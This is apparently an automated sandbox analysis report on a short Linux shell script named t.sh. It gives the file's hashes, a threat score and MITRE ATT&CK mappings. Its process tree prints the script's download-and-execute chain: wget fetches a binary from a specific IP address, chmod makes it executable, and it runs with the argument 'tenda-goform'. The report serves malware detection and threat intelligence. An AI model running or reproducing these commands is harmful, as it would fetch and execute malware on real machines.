378c84b547b9c0158ce497f589aae592d465eb06ba7ab572e5c98a001a0a43e6

Analysis

max time kernel
0s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
30/09/2026, 06:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
t.sh
Size 153B
Sample260930-g2knnatdmb
SHA256 378c84b547b9c0158ce497f589aae592d465eb06ba7ab572e5c98a001a0a43e6
MD5 8bc8fc5ce1b0a1e2e096932043039ce3
SHA1 4501cb322d5b426f006f4b1c937526065f368f02
SHA512 f49c0a84a5363aef15056add47130c8e3dc76be84c2ca83855856f901ced03709f645edcfdbd007cb432e2076843045684b1a696ce297afab67657eff1018641
TLSH
T1FAC08CEC0F0718A1148155233662B06BEA4AC2947CF0473C88CC4B25E046F0C3C3EF42
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1505	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/b	1506	t.sh

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/b	wget

/tmp/t.sh
/tmp/t.sh
1⤵
- Executes dropped EXE
PID:1496
- /usr/bin/wget
  wget -O b http://85.137.54.178:8080/bins/5
  2⤵
  - Writes file to tmp directory
  PID:1497
- /bin/chmod
  chmod 777 b
  2⤵
  - File and Directory Permissions Modification
  PID:1505
- /tmp/b
  ./b tenda-goform
  2⤵
  PID:1506

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /tmp/b
Size 793KB
SHA256 a6d3116d97cfde4f4c1dc3dce174cab2d2f77f0b4448df9645b94185e062925d
MD5 7b4a6616075b8a7ba67b320772633d37
SHA1 f10b06064bfbd59dcaed235227f22e36ef944787
SHA512 958dd37cb48c7d985953d0ccbd2b4b3d2505d446b23722890053e63ad13af2b382e707873b04be48ccd59fd5a3982d9855c93ec997d34a1b01019b05737dcc9e
SSDEEP 12288:3EVChIY2SUzDCBMNjTwYr47f7g04RbGiJgnwAYZJJagpsxOjgh6k7:3EiW3CByM7c04RbGiJgAZnBjgP7
TLSH
T1C5058E53B7228F58F361E2B005F387619A9511A30AF795C6937CD210BB50A2D6C6FFE8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download